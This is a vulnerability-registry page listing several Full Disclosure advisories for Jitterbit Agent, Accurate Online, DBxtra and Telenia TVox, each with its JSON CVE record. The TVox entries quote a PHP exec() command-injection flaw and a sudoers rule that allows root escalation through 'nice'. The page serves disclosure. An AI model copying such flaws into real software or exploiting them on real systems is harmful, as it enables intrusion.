- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0309
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded
credentials leading to OS command execution (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6).
Type: Unauthenticated SOAP with hard-coded credentials leading to OS command execution (CWE-306)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated OS command execution inside the integration container via hard-coded database credentials
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Jitterbit Agent |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Jitterbit Agent",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded \ncredentials leading to OS command execution (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nJitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6).\n\nType: Unauthenticated SOAP with hard-coded credentials leading to OS command execution (CWE-306)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated OS command execution inside the integration container via hard-coded database credentials\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:02:11Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/35"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/35"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/35"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0309",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/35",
"automated": true,
"contentSha256": "33d0de9c2f25254eea925e1d9317febe55c91435d8e4a9bf8aa4fa08bb8d8c15",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/35",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-08T06:21:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T18:02:11Z",
"dateUpdated": "2026-09-08T18:02:11Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0309"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0308
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading
to JNDI remote class loading (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
Accurate Online Private Cloud on-prem (current).
Type: Unauthenticated Hessian deserialization leading to JNDI remote class loading (CWE-502)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated remote code execution as the Administrator account running the application server
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Accurate Online Private |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Accurate Online Private",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading \nto JNDI remote class loading (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nAccurate Online Private Cloud on-prem (current).\n\nType: Unauthenticated Hessian deserialization leading to JNDI remote class loading (CWE-502)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated remote code execution as the Administrator account running the application server\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:02:11Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/34"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/34"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/34"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0308",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/34",
"automated": true,
"contentSha256": "ac8d4c38b0172591e6a45ab834fcc7aee4cda52ac6edfd0d9344765a7746e9c1",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/34",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-08T06:20:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T18:02:11Z",
"dateUpdated": "2026-09-08T18:02:11Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0308"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0307
Vulnerability from gna-1988 – Published: 2026-09-08 18:02 – Updated: 2026-09-08 18:02
VLAI
EPSS
VEX
Title
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in
DBxtra .NET 13.1.1.0.
Type: Unauthenticated SOAP API to xp_cmdshell code execution (CWE-306)
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Impact: unauthenticated remote code execution as the SQL Server service account on the BI host (web tier runs as
LocalSystem)
Authentication: unauthenticated
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | DBxtra .NET |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DBxtra .NET",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nDBxtra .NET 13.1.1.0.\n\nType: Unauthenticated SOAP API to xp_cmdshell code execution (CWE-306)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated remote code execution as the SQL Server service account on the BI host (web tier runs as \nLocalSystem)\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:02:11Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/33"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/33"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/33"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0307",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/33",
"automated": true,
"contentSha256": "7c0cf9ae1fab9640532ca8761c103e4d3cbe655eff60ae529fcf815642c61876",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/33",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-08T06:20:33Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T18:02:11Z",
"dateUpdated": "2026-09-08T18:02:11Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0307"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0297
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-08 11:40
VLAI
EPSS
VEX
Title
[KIS-2026-16] Telenia Software TVox <= 26.5.3 (nice) Local Privilege Escalation Vulnerability
Summary
-------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (nice) Local Privilege Escalation
Vulnerability
-------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerability is caused by an insecure sudoers configuration in the
/etc/sudoers.d/telenia file:
apache ALL=NOPASSWD: /opt/telenia/cloud/bin/check-instance-id
apache ALL=NOPASSWD: /usr/sbin/postsuper
apache ALL=NOPASSWD: /bin/nice
apache ALL=NOPASSWD: /usr/bin/hostnamectl
apache ALL=NOPASSWD: /sbin/halt
apache ALL=NOPASSWD: /sbin/reboot
The apache user is allowed to execute the "nice" command with root
privileges without requiring a password. Since "nice" can be abused to
invoke arbitrary commands, this misconfiguration enables an attacker with
access to the apache account to execute arbitrary commands as the root
user, resulting in a Local Privilege Escalation.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[27/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64829 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-16
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Telenia Software TVox |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0297 (this record)
- related CVE-2026-64829
{
"containers": {
"cna": {
"affected": [
{
"product": "Telenia Software TVox",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Egidio Romano"
}
],
"descriptions": [
{
"lang": "en",
"value": "-------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (nice) Local Privilege Escalation\nVulnerability\n-------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerability is caused by an insecure sudoers configuration in the\n/etc/sudoers.d/telenia file:\n\n\napache ALL=NOPASSWD: /opt/telenia/cloud/bin/check-instance-id\n\napache ALL=NOPASSWD: /usr/sbin/postsuper\n\napache ALL=NOPASSWD: /bin/nice\napache ALL=NOPASSWD: /usr/bin/hostnamectl\napache ALL=NOPASSWD: /sbin/halt\napache ALL=NOPASSWD: /sbin/reboot\n\n\nThe apache user is allowed to execute the \"nice\" command with root\nprivileges without requiring a password. Since \"nice\" can be abused to\ninvoke arbitrary commands, this misconfiguration enables an attacker with\naccess to the apache account to execute arbitrary commands as the root\nuser, resulting in a Local Privilege Escalation.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[27/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64829 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-16\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T11:40:48Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/32"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/32"
},
{
"url": "https://karmainsecurity.com/KIS-2026-16"
},
{
"url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.teleniasoftware.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/32"
],
"discovery": "EXTERNAL"
},
"title": "[KIS-2026-16] Telenia Software TVox \u003c= 26.5.3 (nice) Local Privilege Escalation Vulnerability",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-64829",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0297",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/32",
"automated": true,
"contentSha256": "6fe3bdfe6e52b71acd1d426aa72052689d91f1538bde6a1175e9fab3479a1984",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/32",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-03T07:30:11Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0297"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:40:48Z",
"dateUpdated": "2026-09-08T11:40:48Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0297"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0296
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-08 11:40
VLAI
EPSS
VEX
Title
[KIS-2026-15] Telenia Software TVox <= 26.5.3 (action_audio.php) OS Command Injection Vulnerability
Summary
-------------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (action_audio.php) OS Command Injection
Vulnerability
-------------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerable code is located within the
/opt/telenia/tvox/php/siti/t-vox/manager/html/action_audio.php script:
180. case "checkProcess":
181. $pid = @trim($_REQUEST["pid"]);
182. $logFile = @trim($_REQUEST["logFile"]);
183. if ($pid != "")
184. exec('ps -p ' . $_REQUEST["pid"], $output);
User input passed through the "pid" request parameter (when the "action"
request parameter is set to "checkProcess") is not properly sanitized
before being used to execute OS commands via an exec() call at line 184.
This can be exploited to inject and execute arbitrary OS commands with the
privileges of the "apache" user on the web server.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[26/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64828 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-15
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Telenia Software TVox |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0296 (this record)
- related CVE-2026-64828
{
"containers": {
"cna": {
"affected": [
{
"product": "Telenia Software TVox",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Egidio Romano"
}
],
"descriptions": [
{
"lang": "en",
"value": "-------------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (action_audio.php) OS Command Injection\nVulnerability\n-------------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/html/action_audio.php script:\n\n180. case \"checkProcess\":\n181. $pid = @trim($_REQUEST[\"pid\"]);\n182. $logFile = @trim($_REQUEST[\"logFile\"]);\n183. if ($pid != \"\")\n184. exec(\u0027ps -p \u0027 . $_REQUEST[\"pid\"], $output);\n\nUser input passed through the \"pid\" request parameter (when the \"action\"\nrequest parameter is set to \"checkProcess\") is not properly sanitized\nbefore being used to execute OS commands via an exec() call at line 184.\nThis can be exploited to inject and execute arbitrary OS commands with the\nprivileges of the \"apache\" user on the web server.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64828 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-15\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T11:40:48Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/31"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/31"
},
{
"url": "https://karmainsecurity.com/KIS-2026-15"
},
{
"url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.teleniasoftware.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/31"
],
"discovery": "EXTERNAL"
},
"title": "[KIS-2026-15] Telenia Software TVox \u003c= 26.5.3 (action_audio.php) OS Command Injection Vulnerability",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-64828",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0296",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/31",
"automated": true,
"contentSha256": "750a1c9853cbaf029db7a8361d781a98c8c41779467bc804c2ba737e24db81ff",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/31",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-03T07:29:12Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0296"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:40:48Z",
"dateUpdated": "2026-09-08T11:40:48Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0296"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0295
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-08 11:40
VLAI
EPSS
VEX
Title
